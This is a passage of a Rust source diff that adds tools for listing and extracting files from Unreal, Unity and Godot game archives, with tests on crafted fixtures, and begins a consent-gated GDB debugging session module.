MAX_FOLDER_FILES: usize = 5000; + +/// Every file under a pak folder into `output`, keeping the layout; files already there are skipped. +fn extract_folder(ctx: &mut Ctx<'_>, p: ExtractParams) -> Result { + let root = PathBuf::from(&p.output); + if !root.is_absolute() { + return Err(ToolError::invalid("output must be an absolute path")); + } + let mut pak = open_pak(ctx, &p.path)?; + if pak.footer.encrypted_index { + return Err(encrypted_index(&pak)); + } + let prefix = shown_path(p.file.trim()).to_string(); + let under: Vec = pak.files.iter().filter(|e| shown(e).get(..prefix.len()).is_some_and(|head| head.eq_ignore_ascii_case(&prefix))).cloned().collect(); + if under.is_empty() { + return Err(ToolError::new(ErrorCode::NotFound, format!("There are no files under {prefix} in {}.", pak.name)) + .with_remediation("game_pak_list shows the paths inside; its filter narrows them.")); + } + let limit = p.limit.clamp(1, MAX_FOLDER_FILES); + let cancel = ctx.cancel.clone(); + let (mut taken, mut there, mut bytes, mut looked) = (0usize, 0usize, 0u64, 0usize); + let mut refused = Vec::new(); + for e in &under { + if taken == limit { + break; + } + cancel.check()?; + looked += 1; + let file = shown(e); + let Some(out) = file.get(prefix.len()..).and_then(|rel| inside(&root, rel)) else { + refused.push(format!("{file}: its path would leave the folder")); + continue; + }; + if out.exists() { + there += 1; + continue; + } + if taken % 100 == 0 { + ctx.report(Some(looked as f32 / under.len() as f32), format!("Taking {file} out of {}", pak.name)); + } + let made = out.parent().map_or(Ok(()), std::fs::create_dir_all).map_err(|err| ToolError::io(out.display(), err)); + match made.and_then(|()| take_out(&mut pak, e, &out, &cancel)) { + Ok((size, _)) => { + taken += 1; + bytes += size; + } + Err(err) if err.code == ErrorCode::Cancelled => return Err(err), + Err(err) => refused.push(format!("{file}: {}", err.message)), + } + } + let left = under.len() - looked; + let more = if left > 0 { format!(" {left} more are left: call again with the same folder to carry on.") } else { String::new() }; + let summary = format!( + "Took {taken} files ({bytes} bytes) under {prefix} out of {} into {}; {there} were already there and {} couldn't be taken out.{more}", + pak.name, + root.display(), + refused.len() + ); + let result = json!({ + "folder": prefix, "output": root.display().to_string(), "files": under.len(), "taken": taken, "bytes": bytes, + "already_there": there, "refused": refused.len(), "refused_examples": refused.iter().take(20).collect::>(), "left": left, + }); + let b = builder(ctx, "game_pak_extract", Subject { kind: "archive".into(), sha256: None, name: Some(pak.name.clone()) }, params_json(&p)) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .coverage(Coverage::page(looked as u64, under.len() as u64, 0)) + .location(Location::new("path", root.display().to_string())); + Ok(ToolOutput::evidence(b.build()?)) +} + +#[cfg(test)] +mod tests { + use crate::{CallOptions, Caller, Engine}; + use serde_json::json; + + fn pak() -> Vec { + craft_anything_testkit::games::unreal_pak(&[ + ("/", "Game.uproject", b"{}", false), + ("Game/Content/Maps/", "Level.umap", b"level bytes", true), + ("Game/Content/Maps/", "Level.uexp", b"more", false), + ]) + } + + #[test] + fn a_file_that_isnt_a_pak_is_named() { + let e = Engine::new(crate::testing::session()); + let p = craft_anything_testkit::temp_file("cef.pak", b"not an unreal archive at all, just bytes that go on for a while"); + let err = e.call("game_pak_list", json!({"path": p}), CallOptions::new(Caller::Mcp)).unwrap_err(); + assert!(err.message.contains("no standard Unreal pak footer"), "{err:?}"); + let err = e.call("game_pak_list", json!({"path": "relative.pak"}), CallOptions::new(Caller::Mcp)).unwrap_err(); + assert!(err.message.contains("absolute"), "{err:?}"); + } + + #[test] + fn lists_an_unreal_pak_with_paging_and_a_filter() { + let e = Engine::new(crate::testing::session()); + let p = craft_anything_testkit::temp_file("Game-Windows.pak", &pak()); + let call = |params: serde_json::Value| e.call("game_pak_list", params, CallOptions::new(Caller::Mcp)).unwrap().to_json(); + let v = call(json!({"path": p})); + let r = &v["result"]; + assert_eq!((r["version"].as_i64(), r["file_count"].as_u64(), r["mount_point"].as_str()), (Some(11), Some(3), Some("../../../"))); + let paths: Vec<&str> = r["files"].as_array().unwrap().iter().map(|f| f["path"].as_str().unwrap()).collect(); + assert_eq!(paths, ["Game.uproject", "Game/Content/Maps/Level.umap", "Game/Content/Maps/Level.uexp"]); + assert_eq!((r["files"][1]["size"].as_u64(), r["files"][1]["compression"].as_str()), (Some(11), Some("Zlib"))); + assert_eq!((r["size"].as_u64(), r["by_compression"]["none"].as_u64()), (Some(17), Some(2))); + assert!(v["summary"].as_str().unwrap().contains("version 11) with 3 file(s)"), "{v}"); + + let v = call(json!({"path": p, "filter": "MAPS", "offset": 1, "limit": 1})); + assert_eq!((v["result"]["matching"].as_u64(), v["result"]["files"][0]["path"].as_str()), (Some(2), Some("Game/Content/Maps/Level.uexp"))); + assert_eq!(v["coverage"]["status"], "complete", "the last page"); + let v = call(json!({"path": p, "filter": "maps", "limit": 1})); + assert_eq!((v["result"]["files"][0]["path"].as_str(), v["coverage"]["status"].as_str()), (Some("Game/Content/Maps/Level.umap"), Some("partial"))); + } + + #[test] + fn lists_an_iostore_container() { + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + let utoc = dir.path().join("Game-Windows.utoc"); + std::fs::write(&utoc, craft_anything_testkit::games::unreal_utoc(0x9, u32::MAX)).unwrap(); + let call = |params: serde_json::Value| e.call("game_iostore_list", params, CallOptions::new(Caller::Mcp)); + // The .ucas beside it finds its table of contents. + let v = call(json!({"path": dir.path().join("Game-Windows.ucas")})).unwrap().to_json(); + let r = &v["result"]; + assert_eq!((r["version"].as_u64(), r["file_count"].as_u64(), r["chunk_count"].as_u64()), (Some(8), Some(3), Some(3))); + let rows: Vec<(&str, u64, &str)> = r["files"] + .as_array() + .unwrap() + .iter() + .map(|f| (f["path"].as_str().unwrap(), f["stored_size"].as_u64().unwrap(), f["compression"].as_str().unwrap())) + .collect(); + assert_eq!(rows, [("Game/B.uasset", 8, "Oodle"), ("Game/Maps/A.uasset", 50_000, "Oodle"), ("Game/Maps/A.ubulk", 5, "none")]); + assert_eq!(r["by_compression"]["Oodle"].as_u64(), Some(2)); + let v = call(json!({"path": utoc, "filter": "ubulk"})).unwrap().to_json(); + assert_eq!(v["result"]["matching"].as_u64(), Some(1)); + + // Encrypted names are counted, not shown. + std::fs::write(&utoc, craft_anything_testkit::games::unreal_utoc(0xb, u32::MAX)).unwrap(); + let v = call(json!({"path": utoc})).unwrap().to_json(); + assert!(v["summary"].as_str().unwrap().contains("names are encrypted"), "{v}"); + assert_eq!((v["result"]["files"].as_array().map(Vec::len), v["result"]["chunk_count"].as_u64()), (Some(0), Some(3))); + // Unencrypted containers without a directory index still return header metadata and the not_indexed limitation, with unknown file totals and coverage. + std::fs::write(&utoc, craft_anything_testkit::games::unreal_utoc(0x1, u32::MAX)).unwrap(); + let v = call(json!({"path": utoc})).unwrap().to_json(); + assert!(v["summary"].as_str().unwrap().contains("no directory index"), "{v}"); + assert_eq!((v["result"]["flags"]["indexed"].as_bool(), v["result"]["chunk_count"].as_u64()), (Some(false), Some(3))); + assert!(v["result"]["file_count"].is_null()); + assert!(v["result"]["size"].is_null()); + assert!(v["result"]["stored_size"].is_null()); + assert!(v["result"]["matching"].is_null()); + assert_eq!(v["coverage"]["status"].as_str(), Some("unknown")); + assert_eq!(v["limitations"][0]["code"].as_str(), Some("not_indexed")); + let pak = craft_anything_testkit::temp_file("x.utoc", b"not a table of contents"); + assert!(call(json!({"path": pak})).unwrap_err().message.contains("isn't an IoStore")); + } + + #[test] + fn lists_a_unity_assets_file() { + let e = Engine::new(crate::testing::session()); + let p = craft_anything_testkit::temp_file("sharedassets0.assets", &craft_anything_testkit::games::unity_assets()); + let call = |params: serde_json::Value| e.call("game_unity_list", params, CallOptions::new(Caller::Mcp)); + let v = call(json!({"path": p})).unwrap().to_json(); + let r = &v["result"]; + assert_eq!( + (r["format_version"].as_u64(), r["unity_version"].as_str(), r["platform"].as_str()), + (Some(22), Some("2022.3.62f1"), Some("Windows (64-bit)")) + ); + let rows: Vec<(&str, Option<&str>)> = r["objects"].as_array().unwrap().iter().map(|o| (o["class"].as_str().unwrap(), o["name"].as_str())).collect(); + assert_eq!(rows, [("GameObject", Some("Player")), ("Texture2D", Some("Grass")), ("MonoBehaviour", Some("PlayerController")), ("Transform", None)]); + assert_eq!(r["by_class"][0]["count"].as_u64(), Some(1)); + assert!(v["summary"].as_str().unwrap().contains("Unity 2022.3.62f1 file for Windows (64-bit) with 4 object(s)"), "{v}"); + // The filter matches a class or a name. + for (filter, want) in [("texture", "Grass"), ("controller", "PlayerController")] { + let v = call(json!({"path": p, "filter": filter})).unwrap().to_json(); + assert_eq!((v["result"]["matching"].as_u64(), v["result"]["objects"][0]["name"].as_str()), (Some(1), Some(want)), "{filter}"); + } + let mut bundle = b"UnityFS".to_vec(); + bundle.resize(64, 0); + let bundle = craft_anything_testkit::temp_file("data.unity3d", &bundle); + assert!(call(json!({"path": bundle})).unwrap_err().message.contains("Unity bundle")); + } + + #[test] + fn lists_and_saves_the_textures_of_a_bundles_serialized_files() { + use craft_anything_testkit::games::{unity_assets, unity_bundle_files, unity_serialized_file, unity_texture2d}; + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + // A scene bundle: its level, then its shared assets with a DXT1 texture in the bundle's .resS. + let red = [0x00, 0xf8, 0x1f, 0x00, 0, 0, 0, 0]; + let stream = ("archive:/CAB-scene/BuildPlayer-Level.sharedAssets.resS", 0, 8); + let shared = unity_serialized_file("2022.3.62f1", &[(1, vec![0; 16]), (28, unity_texture2d("2022.3.62f1", "Wall", 4, 4, 10, None, Some(stream)))]); + let bundle = unity_bundle_files(&[ + ("BuildPlayer-Level", &unity_assets(), true), + ("BuildPlayer-Level.sharedAssets", &shared, true), + ("BuildPlayer-Level.sharedAssets.resS", &red, false), + ]); + let path = dir.path().join("scene.bundle"); + std::fs::write(&path, bundle).unwrap(); + let call = |tool: &str, params: serde_json::Value| e.call(tool, params, CallOptions::new(Caller::Mcp)); + let v = call("game_unity_list", json!({"path": path})).unwrap().to_json(); + let r = &v["result"]; + assert_eq!((r["object_count"].as_u64(), r["serialized_files"].as_array().map(Vec::len)), (Some(6), Some(2)), "{v}"); + assert!(v["summary"].as_str().unwrap().contains("2 serialized file(s) with 6 object(s)"), "{v}"); + // Textures from every serialized file, each naming the file it's in. + let v = call("game_unity_list", json!({"path": path, "filter": "texture2d"})).unwrap().to_json(); + let rows: Vec<(&str, &str, i64)> = v["result"]["objects"] + .as_array() + .unwrap() + .iter() + .map(|o| (o["file"].as_str().unwrap(), o["name"].as_str().unwrap(), o["path_id"].as_i64().unwrap())) + .collect(); + assert_eq!(rows, [("BuildPlayer-Level", "Grass", 2), ("BuildPlayer-Level.sharedAssets", "Wall", 2)]); + let v = call("game_unity_list", json!({"path": path, "file": "BuildPlayer-Level.sharedAssets"})).unwrap().to_json(); + assert_eq!(v["result"]["object_count"].as_u64(), Some(2)); + // The row's file and path id save the picture, its pixels read from the bundle's .resS. + let out = dir.path().join("wall.png"); + let v = call("game_unity_asset_export", json!({"path": path, "file": rows[1].0, "path_id": rows[1].2, "output": out})).unwrap().to_json(); + assert_eq!(v["result"]["name"].as_str(), Some("Wall"), "{v}"); + let png = crate::tools::web_common::decode_png(&std::fs::read(&out).unwrap()).unwrap(); + assert!(png.rgba.as_chunks::<4>().0.iter().all(|p| *p == [255, 0, 0, 255])); + } + + #[test] + fn a_bundle_built_without_its_unity_version_uses_the_games() { + use craft_anything_testkit::games::{unity_bundle_with, unity_serialized_file, unity_texture2d}; + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + let data = dir.path().join("Game_Data"); + let aa = data.join("StreamingAssets/aa"); + std::fs::create_dir_all(&aa).unwrap(); + // The bundle's file says 0.0.0; its texture has the 2022.3 layout the game's own files name. + let tex = unity_texture2d("2022.3.62f1", "Wall", 1, 1, 4, Some(&[255, 0, 0, 255]), None); + let bundle = aa.join("walls.bundle"); + std::fs::write(&bundle, unity_bundle_with(&unity_serialized_file("0.0.0", &[(28, tex)]), b"")).unwrap(); + let export = + |out: &str| e.call("game_unity_asset_export", json!({"path": bundle, "path_id": 1, "output": dir.path().join(out)}), CallOptions::new(Caller::Mcp)); + let err = export("a.png").unwrap_err(); + assert!(err.message.contains("doesn't say which Unity version"), "{err:?}"); + std::fs::write(data.join("globalgamemanagers"), unity_serialized_file("2022.3.62f1", &[])).unwrap(); + assert_eq!(export("b.png").unwrap().to_json()["result"]["name"].as_str(), Some("Wall")); + let v = e.call("game_unity_list", json!({"path": bundle}), CallOptions::new(Caller::Mcp)).unwrap().to_json(); + assert_eq!(v["result"]["unity_version"].as_str(), Some("2022.3.62f1"), "{v}"); + } + + #[test] + fn lists_a_unity_bundle_and_counts_its_objects() { + let e = Engine::new(crate::testing::session()); + let call = |params: serde_json::Value| e.call("game_unity_bundle_list", params, CallOptions::new(Caller::Mcp)); + let p = craft_anything_testkit::temp_file("level.bundle", &craft_anything_testkit::games::unity_bundle()); + let v = call(json!({"path": p})).unwrap().to_json(); + let r = &v["result"]; + assert_eq!((r["format_version"].as_u64(), r["table_compression"].as_str(), r["file_count"].as_u64()), (Some(8), Some("LZ4"), Some(2))); + let rows: Vec<(&str, bool)> = + r["files"].as_array().unwrap().iter().map(|f| (f["path"].as_str().unwrap(), f["serialized"].as_bool().unwrap())).collect(); + assert_eq!(rows, [("CAB-0123456789abcdef", true), ("CAB-0123456789abcdef.resS", false)]); + // The serialized file's objects are counted from its metadata. + let objects = &r["files"][0]["objects"]; + assert_eq!((objects["object_count"].as_u64(), objects["unity_version"].as_str()), (Some(4), Some("2022.3.62f1")), "{v}"); + assert!(v["summary"].as_str().unwrap().contains("2 file(s) and 4 object(s)"), "{v}"); + let v = call(json!({"path": p, "filter": "ress"})).unwrap().to_json(); + assert_eq!(v["result"]["matching"].as_u64(), Some(1)); + let not = craft_anything_testkit::temp_file("x.bundle", b"UnityWeb and some more bytes"); + assert!(call(json!({"path": not})).unwrap_err().message.contains("isn't a UnityFS bundle")); + } + + #[test] + fn a_bundle_listing_says_when_it_read_only_some_serialized_files() { + use craft_anything_testkit::games::{unity_bundle_files, unity_serialized_file}; + let e = Engine::new(crate::testing::session()); + let serialized = unity_serialized_file("2022.3.62f1", &[(1, vec![0; 16])]); + let names: Vec = (1..=17).map(|i| format!("member-{i:02}")).collect(); + let members: Vec<(&str, &[u8], bool)> = names.iter().map(|s| (s.as_str(), serialized.as_slice(), true)).collect(); + let p = craft_anything_testkit::temp_file("many.bundle", &unity_bundle_files(&members)); + let v = e.call("game_unity_bundle_list", json!({"path": p, "limit": 500}), CallOptions::new(Caller::Mcp)).unwrap().to_json(); + assert_eq!(v["limitations"][0]["code"], "files_unread", "{v}"); + assert!(v["summary"].as_str().unwrap().contains("at least 16 object(s)"), "{v}"); + } + + #[test] + fn saves_unity_textures_as_png() { + use craft_anything_testkit::games::{unity_bundle_with, unity_serialized_file, unity_texture2d}; + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + // 2×1 RGBA32 inline (stored bottom row first), and a 4×4 DXT1 block streamed from the .resS. + let inline = unity_texture2d("2022.3.62f1", "Pair", 2, 1, 4, Some(&[255, 0, 0, 255, 0, 0, 255, 255]), None); + let block = [0x00, 0xf8, 0x1f, 0x00, 0, 0, 0, 0]; // all red + let streamed = unity_texture2d("2022.3.62f1", "Block", 4, 4, 10, None, Some(("sharedassets0.assets.resS", 16, 8))); + let crunched = unity_texture2d("2022.3.62f1", "Fancy", 4, 4, 28, Some(&[0; 16]), None); + let assets = unity_serialized_file("2022.3.62f1", &[(28, inline), (28, streamed), (1, vec![0; 16]), (28, crunched)]); + std::fs::write(dir.path().join("sharedassets0.assets"), &assets).unwrap(); + let mut ress = vec![0u8; 16]; + ress.extend_from_slice(&block); + std::fs::write(dir.path().join("sharedassets0.assets.resS"), &ress).unwrap(); + let call = |path: &std::path::Path, id: i64, out: &str| { + e.call("game_unity_asset_export", json!({"path": path, "path_id": id, "output": dir.path().join(out)}), CallOptions::new(Caller::Mcp)) + }; + let file = dir.path().join("sharedassets0.assets"); + let decode = |out: &str| crate::tools::web_common::decode_png(&std::fs::read(dir.path().join(out)).unwrap()).unwrap(); + let v = call(&file, 1, "pair.png").unwrap().to_json(); + assert_eq!((v["result"]["name"].as_str(), v["result"]["format"].as_str()), (Some("Pair"), Some("RGBA32"))); + assert_eq!(decode("pair.png").rgba, [255, 0, 0, 255, 0, 0, 255, 255]); + let v = call(&file, 2, "block.png").unwrap().to_json(); + assert_eq!(v["result"]["streamed_from"].as_str(), Some("sharedassets0.assets.resS")); + assert!(decode("block.png").rgba.as_chunks::<4>().0.iter().all(|p| *p == [255, 0, 0, 255])); + assert!(call(&file, 3, "x.png").unwrap_err().message.contains("GameObject objects can't be taken out yet")); + assert!(call(&file, 4, "x.png").unwrap_err().message.contains("DXT1Crunched")); + assert!(call(&file, 9, "x.png").unwrap_err().message.contains("no object with path id 9")); + assert!(call(&file, 1, "pair.png").unwrap_err().message.contains("already exists")); + assert!(!dir.path().join("x.png").exists(), "nothing written on a refusal"); + + // The same texture inside a bundle, its pixels in the bundle's .resS. + let in_bundle = unity_texture2d("2022.3.62f1", "Block", 4, 4, 10, None, Some(("archive:/CAB-0123456789abcdef/CAB-0123456789abcdef.resS", 16, 8))); + let bundle = unity_bundle_with(&unity_serialized_file("2022.3.62f1", &[(28, vec![0; 8]), (28, in_bundle)]), &ress); + let b = dir.path().join("level.bundle"); + std::fs::write(&b, bundle).unwrap(); + let v = call(&b, 2, "from-bundle.png").unwrap().to_json(); + assert_eq!(v["result"]["width"].as_u64(), Some(4), "{v}"); + assert!(decode("from-bundle.png").rgba.as_chunks::<4>().0.iter().all(|p| *p == [255, 0, 0, 255])); + } + + #[test] + fn saves_unreal_textures_only_with_permission() { + use craft_anything_testkit::games::{unreal_pak, unreal_texture_package}; + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + // A 4×4 red mip in the .ubulk (BGRA) and a 2×2 one inline; the .uexp is zlib-compressed in the pak. + let (uasset, uexp) = unreal_texture_package("T_Icon", "PF_B8G8R8A8", 2, 2, &[0; 16], Some((4, 4, 64))); + let ubulk: Vec = [0u8, 0, 255, 255].repeat(16); + let pak = + unreal_pak(&[("Game/UI/", "T_Icon.uasset", &uasset, false), ("Game/UI/", "T_Icon.uexp", &uexp, true), ("Game/UI/", "T_Icon.ubulk", &ubulk, false)]); + let pak_path = dir.path().join("Game-Windows.pak"); + std::fs::write(&pak_path, pak).unwrap(); + let call = |params: serde_json::Value| e.call("game_unreal_texture_export", params, CallOptions::new(Caller::Mcp)); + let out = |name: &str| dir.path().join(name); + + let err = call(json!({"path": pak_path, "file": "Game/UI/T_Icon.uasset", "output": out("a.png")})).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::ConsentRequired, "{err:?}"); + assert!(!out("a.png").exists()); + + let v = call(json!({"path": pak_path, "file": "game/ui/t_icon.uasset", "output": out("a.png"), "permission": true})).unwrap().to_json(); + assert_eq!( + (v["result"]["name"].as_str(), v["result"]["saved"]["from"].as_str(), v["result"]["saved"]["width"].as_u64()), + (Some("T_Icon"), Some("ubulk"), Some(4)), + "{v}" + ); + let png = crate::tools::web_common::decode_png(&std::fs::read(out("a.png")).unwrap()).unwrap(); + assert!(png.rgba.as_chunks::<4>().0.iter().all(|p| *p == [255, 0, 0, 255]), "BGRA red comes out red"); + + // Loose files taken out earlier work too; without the .ubulk the inline mip is saved, and said to be smaller. + std::fs::write(dir.path().join("T_Icon.uasset"), &uasset).unwrap(); + std::fs::write(dir.path().join("T_Icon.uexp"), &uexp).unwrap(); + let v = call(json!({"path": dir.path().join("T_Icon.uasset"), "output": out("b.png"), "permission": true})).unwrap().to_json(); + assert_eq!((v["result"]["saved"]["from"].as_str(), v["result"]["saved"]["width"].as_u64()), (Some("uexp"), Some(2))); + assert_eq!(v["limitations"][0]["code"], "smaller_than_full"); + + assert!( + call(json!({"path": pak_path, "file": "Game/UI/Nope.uasset", "output": out("c.png"), "permission": true})) + .unwrap_err() + .message + .contains("There's no .uasset") + ); + assert!(call(json!({"path": pak_path, "output": out("c.png"), "permission": true})).unwrap_err().message.contains("file is needed")); + } + + #[test] + fn finds_a_games_archives() { + let e = Engine::new(crate::testing::session()); + let dir = tempfile::tempdir().unwrap(); + let paks = dir.path().join("Game/Content/Paks"); + std::fs::create_dir_all(&paks).unwrap(); + std::fs::write(paks.join("Game-Windows.pak"), pak()).unwrap(); + std::fs::write(paks.join("Game-Windows.utoc"), craft_anything_testkit::games::unreal_utoc(0x9, u32::MAX)).unwrap(); + std::fs::write(dir.path().join("cef.pak"), b"a Chromium resource pack, not an Unreal one at all").unwrap(); + let data = dir.path().join("Game_Data"); + std::fs::create_dir_all(data.join("StreamingAssets")).unwrap(); + std::fs::write(data.join("sharedassets0.assets"), craft_anything_testkit::games::unity_assets()).unwrap(); + std::fs::write(data.join("level0"), craft_anything_testkit::games::unity_assets()).unwrap(); + std::fs::write(data.join("StreamingAssets/ui.bundle"), craft_anything_testkit::games::unity_bundle()).unwrap(); + std::fs::write(data.join("sharedassets0.assets.resS"), b"pixels").unwrap(); + let v = e.call("game_archives_list", json!({"path": dir.path()}), CallOptions::new(Caller::Mcp)).unwrap().to_json(); + let r = &v["result"]; + assert_eq!(r["engine"], "mixed"); + let mut kinds: Vec<(String, String)> = r["archives"] + .as_array() + .unwrap() + .iter() + .map(|a| (a["kind"].as_str().unwrap().to_string(), a["name"].as_str().unwrap().replace('\\', "/"))) + .collect(); + kinds.sort(); + assert_eq!( + kinds, + [ + ("unity_assets".into(), "Game_Data/level0".into()), + ("unity_assets".into(), "Game_Data/sharedassets0.assets".into()), + ("unity_bundle".into(), "Game_Data/StreamingAssets/ui.bundle".into()), + ("unreal_iostore".into(), "Game/Content/Paks/Game-Windows.utoc".into()), + ("unreal_pak".into(), "Game/Content/Paks/Game-Windows.pak".into()), + ], + "Chromium's pak and the .resS aren't archives" + ); + assert!(e.call("game_archives_list", json!({"path": "relative"}), CallOptions::new(Caller::Mcp)).is_err()); + } + + #[test] + fn finds_godot_packs_on_their_own_and_inside_a_program() { + use craft_anything_testkit::games::{GodotFile, godot_embedded, godot_pck}; + let list = |dir: &std::path::Path| -> serde_json::Value { + Engine::new(crate::testing::session()).call("game_archives_list", json!({"path": dir}), CallOptions::new(Caller::Mcp)).unwrap().to_json() + }; + let files = [GodotFile { path: "res://a", data: b"x", flags: 0, md5: [0; 16] }, GodotFile { path: "res://b", data: b"yy", flags: 0, md5: [0; 16] }]; + + for format in [1, 2, 3] { + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("game.pck"), godot_pck(format, 2, &files)).unwrap(); + std::fs::write(dir.path().join("other.pck"), b"not a pack").unwrap(); + let v = list(dir.path()); + let r = &v["result"]; + assert_eq!(r["engine"], "godot"); + assert_eq!(r["archives"].as_array().unwrap().len(), 1, "only a real pack counts"); + assert_eq!(r["archives"][0]["kind"], "godot_pck"); + assert_eq!(r["archives"][0]["list_tool"], "core_packed_files_list"); + assert_eq!(r["archives"][0]["declared_files"], 2, "format {format}"); + assert!(v["summary"].as_str().unwrap().contains("1 Godot archive")); + } + + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("game.exe"), godot_embedded(b"MZ a program", &godot_pck(3, 2, &files))).unwrap(); + std::fs::write(dir.path().join("plain.exe"), b"MZ a program without a pack").unwrap(); + std::fs::write(dir.path().join("tiny.x86_64"), b"x").unwrap(); + let r = list(dir.path()); + let r = &r["result"]; + assert_eq!(r["archives"].as_array().unwrap().len(), 1); + assert!(r["archives"][0]["name"].as_str().unwrap().ends_with("game.exe")); + assert_eq!(r["archives"][0]["declared_files"], 2); + + // A pack cut short keeps its place, without a count. + let dir = tempfile::tempdir().unwrap(); + std::fs::write(dir.path().join("cut.pck"), &godot_pck(3, 2, &files)[..50]).unwrap(); + let r = list(dir.path()); + assert!(r["result"]["archives"][0]["declared_files"].is_null()); + } + + #[test] + fn takes_stored_and_zlib_files_out() { + let e = Engine::new(crate::testing::session()); + let p = craft_anything_testkit::temp_file("Game-Windows.pak", &pak()); + let dir = tempfile::tempdir().unwrap(); + let call = + |file: &str, out: &std::path::Path| e.call("game_pak_extract", json!({"path": p, "file": file, "output": out}), CallOptions::new(Caller::Mcp)); + for (file, want) in + [("game/content/maps/LEVEL.umap", b"level bytes".as_slice()), ("Game/Content/Maps/Level.uexp", b"more"), ("../../../Game.uproject", b"{}")] + { + let out = dir.path().join(file.rsplit('/').next().unwrap()); + let v = call(file, &out).unwrap().to_json(); + assert_eq!(std::fs::read(&out).unwrap(), want, "{file}"); + assert_eq!(v["result"]["sha256"].as_str(), Some(craft_anything_evidence::sha256_hex(want).as_str())); + } + // Nothing is overwritten, a missing file is named, and nothing half-written stays. + let taken = dir.path().join("LEVEL.umap"); + assert!(call("Game/Content/Maps/Level.umap", &taken).unwrap_err().message.contains("already exists")); + let missing = dir.path().join("missing.bin"); + assert!(call("Game/Nope.uasset", &missing).unwrap_err().message.contains("There's no")); + assert!(!missing.exists()); + // A missing folder is made. + let deep = dir.path().join("a").join("b").join("Level.uexp"); + call("Game/Content/Maps/Level.uexp", &deep).unwrap(); + assert_eq!(std::fs::read(&deep).unwrap(), b"more"); + } + + #[test] + fn takes_a_folder_out_a_page_at_a_time() { + let e = Engine::new(crate::testing::session()); + let p = craft_anything_testkit::temp_file("Game-Windows.pak", &pak()); + let dir = tempfile::tempdir().unwrap(); + let out = dir.path().join("Original"); + let call = |limit: usize| { + e.call("game_pak_extract", json!({"path": p, "file": "game/content/", "output": out, "limit": limit}), CallOptions::new(Caller::Mcp)) + .unwrap() + .to_json() + }; + let first = call(1); + assert_eq!((first["result"]["taken"].as_u64(), first["result"]["left"].as_u64()), (Some(1), Some(1))); + // Calling again skips what's there and carries on. + let second = call(500); + assert_eq!((second["result"]["taken"].as_u64(), second["result"]["already_there"].as_u64()), (Some(1), Some(1))); + assert_eq!(std::fs::read(out.join("Maps").join("Level.umap")).unwrap(), b"level bytes"); + assert_eq!(std::fs::read(out.join("Maps").join("Level.uexp")).unwrap(), b"more"); + assert!(!dir.path().join("Game.uproject").exists() && !out.join("Game.uproject").exists()); + let none = e.call("game_pak_extract", json!({"path": p, "file": "Game/Nope/", "output": out}), CallOptions::new(Caller::Mcp)); + assert!(none.unwrap_err().message.contains("no files under")); + } + + #[test] + fn a_pak_path_never_leaves_the_folder() { + let root = std::path::Path::new("/out"); + assert_eq!(super::inside(root, "Maps/Level.umap"), Some(root.join("Maps").join("Level.umap"))); + for bad in ["../x", "Maps/../../x", "C:/x", "a\\..\\b", "", "a//b", "./x"] { + assert_eq!(super::inside(root, bad), None, "{bad}"); + } + } +} diff --git a/desktop/crates/engine/src/tools/gdb_tools.rs b/desktop/crates/engine/src/tools/gdb_tools.rs new file mode 100644 index 0000000..a9063e7 --- /dev/null +++ b/desktop/crates/engine/src/tools/gdb_tools.rs @@ -0,0 +1,340 @@ +//! GDB sessions over the machine interface (GDB/MI), through [`craft_anything_engines::gdb`]: +//! each session is one owned `gdb` process driven with `-interpreter-exec console`, so any GDB +//! command works while results come back as structured records. Starting a session only loads the +//! program; running it, calling functions or using GDB's shell/python commands happens through +//! native_gdb_command_run, which needs consent. Sessions are kept by id for this run. + +use super::native_common::spec; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_engines::gdb::GdbSession; +use craft_anything_evidence::{Authority, Confidence, Coverage, Environment, ErrorCode, EvidenceBuilder, Limitation, Subject, ToolError, sha256_hex}; +use craft_anything_platform::sync::Mutex; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::HashMap; +use std::path::PathBuf; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::sync::{Arc, PoisonError}; +use std::time::Duration; + +pub fn specs() -> Vec { + let base = Effects::MUTATES_SESSION | Effects::LAUNCHES_PROCESS; + let eng = Requires::Engine("gdb"); + vec![ + spec( + "native_gdb_session_begin", + "Start a GDB session", + "Start GDB (machine-interface mode, no init files, auto-loaded scripts off, pagination off) with a program loaded (absolute path; optional core file and program arguments), or empty. The program is only loaded, not run. Returns a session_id for native_gdb_command_run, native_gdb_session_show and native_gdb_session_end, plus GDB's start-up messages. Sessions live in memory for this run; at most 4 at a time.", + "Open a debugger session on a program (it doesn't run yet).", + Toolset::Runtime, + base, + eng, + schema_of::, + native_gdb_session_begin, + ), + spec( + "native_gdb_command_run", + "GDB command", + "Run one GDB command line in a session (for example `info functions`, `disassemble main`, `break main`, `run`, `bt`, `info registers`, `x/16xb $sp`) and return its console output, the result (done, running, error, exit), stop events (reason, frame) and any program output, waiting up to timeout_seconds for a started run to stop. Commands can run the program, call its functions or use GDB's shell and Python, so this asks for consent.", + "Type a command into the debugger.", + Toolset::Runtime, + base | Effects::EXECUTES_FOREIGN_CODE | Effects::MUTATES_TARGET, + eng, + schema_of::, + native_gdb_command_run, + ), + spec( + "native_gdb_session_show", + "GDB session status", + "Show one GDB session (or all when session_id is omitted): whether GDB is alive, the last known program state (not started, stopped, running, exited), the last stop event, and any output that arrived since the last command.", + "Check on an open debugger session.", + Toolset::Runtime, + Effects::MUTATES_SESSION, + Requires::Nothing, + schema_of::, + native_gdb_session_show, + ), + spec( + "native_gdb_session_end", + "Close a GDB session", + "End a GDB session: ask GDB to exit, then stop it and anything it started (including a program it is debugging).", + "Close a debugger session.", + Toolset::Runtime, + Effects::MUTATES_SESSION | Effects::LAUNCHES_PROCESS, + Requires::Nothing, + schema_of::, + native_gdb_session_end, + ), + ] +} + +const MAX_SESSIONS: usize = 4; + +fn d_timeout() -> u64 { + 10 +} + +#[derive(Debug, Deserialize, Serialize, 